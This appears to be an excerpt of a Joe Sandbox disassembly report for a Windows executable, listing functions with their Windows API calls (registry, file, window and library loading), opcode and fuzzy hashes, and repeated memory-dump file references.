Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8c959f377d96a3870dba63dd65060f52c5bbf460a72db2a5b2be4756d911549
Instruction ID: 6afa8d85982321809285efd67767f231e28451523f56623c0a237c64ba690010
Opcode Fuzzy Hash: e8c959f377d96a3870dba63dd65060f52c5bbf460a72db2a5b2be4756d911549
Instruction Fuzzy Hash: 7E816731E00229DBDF24CFA9D844BADBBB0FB44305F11816AE856BB2C0C7785A96DF44

Function 00406982 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a8ee5da33216ad141207925d20784d11e66eebf924bd7a5457e3a8945fa9096
Instruction ID: b0afa4bf9b2f32aef8b418d90c6ac84aec3754d6d6600e102a8a9184c58ea877
Opcode Fuzzy Hash: 0a8ee5da33216ad141207925d20784d11e66eebf924bd7a5457e3a8945fa9096
Instruction Fuzzy Hash: FD712471E00229DFDF24CFA8C844BADBBB1FB48305F15806AD846BB290C7395996DF54

Function 00406AA0 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62bad76ded8dc27f8eed87459cf3b90d4506ad753805ad6fcc8c39a10a3f4707
Instruction ID: 02d0d75cb83947f83aad45c50880e4a386b83e744e149296eb7fa161ab999f08
Opcode Fuzzy Hash: 62bad76ded8dc27f8eed87459cf3b90d4506ad753805ad6fcc8c39a10a3f4707
Instruction Fuzzy Hash: 08714671E00219CFDF24CFA8C844BADBBB1FB44305F15806AD856BB290C7385956DF44

Function 004069EC Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa3d38d161a72bddb6f80e1dac2624ab657c9951173fd352498b2eb393463e7a
Instruction ID: eb15c3353e008649bdc799d0a197d89dfb60748dd6a42a5e4cae05a50034cddc
Opcode Fuzzy Hash: aa3d38d161a72bddb6f80e1dac2624ab657c9951173fd352498b2eb393463e7a
Instruction Fuzzy Hash: 67714571E00229DBDF28CF98C844BADBBB1FF44305F11806AD956BB291C7789A66DF44

Function 0040249E Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402CF1

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004024CD
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 004024E0
RegCloseKey.ADVAPI32(?,?,?,0040A5C8,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 62c8f190f04af45e9e9a51eb7e835824f55cf52425ebc03b366dfb395d3f461b
Instruction ID: 9b49ef4685d11130b37b7b0c6276d492a5168a4a944959f4997216c5b5c768b0
Opcode Fuzzy Hash: 62c8f190f04af45e9e9a51eb7e835824f55cf52425ebc03b366dfb395d3f461b
Instruction Fuzzy Hash: 1FF06D72A04204BBE7209F659E88ABF766DEF80354B10843AF505B61D0D6B85D419B6A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1f472dfcc894d90b0504cb8d955b7f6dcf6f20f1f7a064cd725307f95b817da4
Instruction ID: 1e7952006d9e226a8eb598a62733b1cad305e59e596fc6f41a9a7203fe322f79
Opcode Fuzzy Hash: 1f472dfcc894d90b0504cb8d955b7f6dcf6f20f1f7a064cd725307f95b817da4
Instruction Fuzzy Hash: 9401D131B24210EBE7295B389C05B6A3698E720318F10867EB915F62F1DA78DC028B5D

Function 0040231F Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402CF1

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040233E
RegCloseKey.ADVAPI32(00000000), ref: 00402347

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: c1cf67146ab5803d878f91cbe77b9ec81b4468b31d775d7884e5243813cca083
Instruction ID: 78bc400ea2c38a342dc409f04ff34772de2348df94907e049583a87c4894aa7b
Opcode Fuzzy Hash: c1cf67146ab5803d878f91cbe77b9ec81b4468b31d775d7884e5243813cca083
Instruction Fuzzy Hash: F2F0AF33A04100ABEB10BFB48A4EABE72699B40314F14843BF501B71D1C9FC9D025629

Function 00405251 Relevance: 3.0, APIs: 2, Instructions: 32comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405261

Part of subcall function 0040412F: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404141

CoUninitialize.COMBASE(00000404,00000000), ref: 004052AD

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: InitializeMessageSendUninitialize
String ID:
API String ID: 2896919175-0
Opcode ID: 31e57a3ef9e746435923b88dfd7bb1bf8fe4b89e6011e28fe58d1acc60f219fe
Instruction ID: 23d8d539379559b4eeea4a3d011d76145f80a4753e0c5d54cb32e1048881e4d2
Opcode Fuzzy Hash: 31e57a3ef9e746435923b88dfd7bb1bf8fe4b89e6011e28fe58d1acc60f219fe
Instruction Fuzzy Hash: 98F09073A04600EBEA219754A905B5773A4EFA0311F0548BEFE44B62E1D7795C428E6D

Function 0040156B Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 0040157F
ShowWindow.USER32(?), ref: 00401594

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: da4a86a6b963ee923f476f01255f39598dcd1c55347b71fc1c3f21f7aac919ab
Instruction ID: 314eb159e86c834e2fe08411d08067028349aa93737597b92917ceb0c1c6193b
Opcode Fuzzy Hash: da4a86a6b963ee923f476f01255f39598dcd1c55347b71fc1c3f21f7aac919ab
Instruction Fuzzy Hash: 39E04F32B01105ABCB24DBA8ED808AE77A6AB94324750447FD502B32A0CA75EC418F68

Function 004063F5 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004032D6,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00406407
GetProcAddress.KERNEL32(00000000,?), ref: 00406422

Part of subcall function 00406389: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063A0
Part of subcall function 00406389: wsprintfW.USER32 ref: 004063DB
Part of subcall function 00406389: LoadLibraryW.KERNELBASE(?), ref: 004063EB

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: d7ac541ed48af1eacb80342b8b251201fb822529d60d72dade8e8733a6d6c095
Instruction ID: a9e24e321ddd3f073a9e6a165911cd393abac726806fbc755e3780b1e63cb1a6
Opcode Fuzzy Hash: d7ac541ed48af1eacb80342b8b251201fb822529d60d72dade8e8733a6d6c095
Instruction Fuzzy Hash: A7E086326082216BD31157745D4493B67A89BD5740306083EFD06F6181D734AC2296AD

Function 00405BF4 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402E2E,00437800,80000000,00000003,?,?,00000000,00403504,?), ref: 00405BF8
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,00403504,?), ref: 00405C1A

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 742792ff7842fdd919adb4f35d156b5e8b6622b1384091bd21e9a064bfd9155a
Instruction ID: be88a92cb82447fd1599dbd49a9896cb6db060ceaa3ec03b2970cb079924df1d
Opcode Fuzzy Hash: 742792ff7842fdd919adb4f35d156b5e8b6622b1384091bd21e9a064bfd9155a
Instruction Fuzzy Hash: FDD09E71658201AFEF098F20DE16F2E7AA2EB84B00F10562CB642940E0D6B15815DB16

Function 00405BCF Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,004057D4,?,?,00000000,004059AA,?,?,?,?), ref: 00405BD4
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405BE8

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 12e66bcdd04e2879fdb80b2c332070aab0449f7c07d3bd30d589cafb4efe0379
Instruction ID: bdf799deba5259ae40da9bf86cf5b70a116480e13bafc777f783197d388d6591
Opcode Fuzzy Hash: 12e66bcdd04e2879fdb80b2c332070aab0449f7c07d3bd30d589cafb4efe0379
Instruction Fuzzy Hash: 7BD01272909521AFC6102738EE0C89BBFA5EB54371B054B31F979E22F0C7305C52CA95

Function 004056CA Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,0040325D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403496), ref: 004056D0
GetLastError.KERNEL32 ref: 004056DE

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: d8dd424ede50ccfac4b7523ad15fca3fe61b3a2743ebd4ec855a49df1000c641
Instruction ID: d706e5ae47c7ee36432b9320fd90c1f42ce8b6abbc3a43a90ad219fc8104f268
Opcode Fuzzy Hash: d8dd424ede50ccfac4b7523ad15fca3fe61b3a2743ebd4ec855a49df1000c641
Instruction Fuzzy Hash: 5DC04C30A19602DBDA105B31DD0871B7954AB50742F60CD36610AE51A0DA769811DD3E

Function 0040229D Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 004022D4

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 0286e3c2219f2336aac24a8adfc5af7a950c5186903a8fadcfb356e78ce5c9c9
Instruction ID: 900e0ed31166daec82b0b067df29ce1ac5916d1a5491b2584b310d9ae4f56f06
Opcode Fuzzy Hash: 0286e3c2219f2336aac24a8adfc5af7a950c5186903a8fadcfb356e78ce5c9c9
Instruction Fuzzy Hash: 5BE04F319001246ADB113EF10E8ED7F31695B40314B1405BFB511B66C6D5FC1D4146A9

Function 00405C77 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040321F,00000000,00000000,00403076,000000FF,00000004,00000000,00000000,00000000), ref: 00405C8B

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
